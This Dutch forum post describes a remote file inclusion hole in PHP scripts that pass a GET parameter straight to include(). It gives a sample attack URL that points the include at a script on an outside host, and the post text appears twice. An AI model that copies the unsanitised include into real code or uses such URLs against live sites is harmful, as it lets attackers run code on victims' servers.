ik was vanavond weer eens aan het nadenken, en kwam tot de conclusie dat er best wel een domme fout in php zit (of in veel scripts online).
Er zijn namelijk veel sites die gebruik maken van een soort include principe.
een voorbeeldje:
Dit word bijv. aangeroepen met blaat.php?pagina=contact
alleen nou heb ik eens zitten na denken, en ben tot de conclusie gekomen, dat dit soort script dus 100% lek zijn!
denk je eens in, iemand loopt te klooien met je script en typt dit in:
http://jousite.nl/index.php?pagina=http://zijnwebsite/zijnscript.php
waarschijnlijk niet veel aan de hand, want php is serverside.
het script word dus op zijn host uitgevoerd.
maar als je ff doordenkt is het mogelijk om een .php file op een host te zetten die geen php ondersteunt.
dan word het script dus op de server van het victim uitgevoerd!
Nou wou ik jullie mening hierover.
is dit een bug in php, of in de user die dit gemaakt heeft?
het is natuurlijk makkelijk te verhelpen, maar toch, ik denk dat veel sites hierdoor getroffen kunnen worden!
edit: in de titel moet het is zijn ipv os
Er zijn namelijk veel sites die gebruik maken van een soort include principe.
een voorbeeldje:
PHP:
1
2
3
| <? include($pagina); ?> |
Dit word bijv. aangeroepen met blaat.php?pagina=contact
alleen nou heb ik eens zitten na denken, en ben tot de conclusie gekomen, dat dit soort script dus 100% lek zijn!
denk je eens in, iemand loopt te klooien met je script en typt dit in:
http://jousite.nl/index.php?pagina=http://zijnwebsite/zijnscript.php
waarschijnlijk niet veel aan de hand, want php is serverside.
het script word dus op zijn host uitgevoerd.
maar als je ff doordenkt is het mogelijk om een .php file op een host te zetten die geen php ondersteunt.
dan word het script dus op de server van het victim uitgevoerd!
Nou wou ik jullie mening hierover.
is dit een bug in php, of in de user die dit gemaakt heeft?
het is natuurlijk makkelijk te verhelpen, maar toch, ik denk dat veel sites hierdoor getroffen kunnen worden!
edit: in de titel moet het is zijn ipv os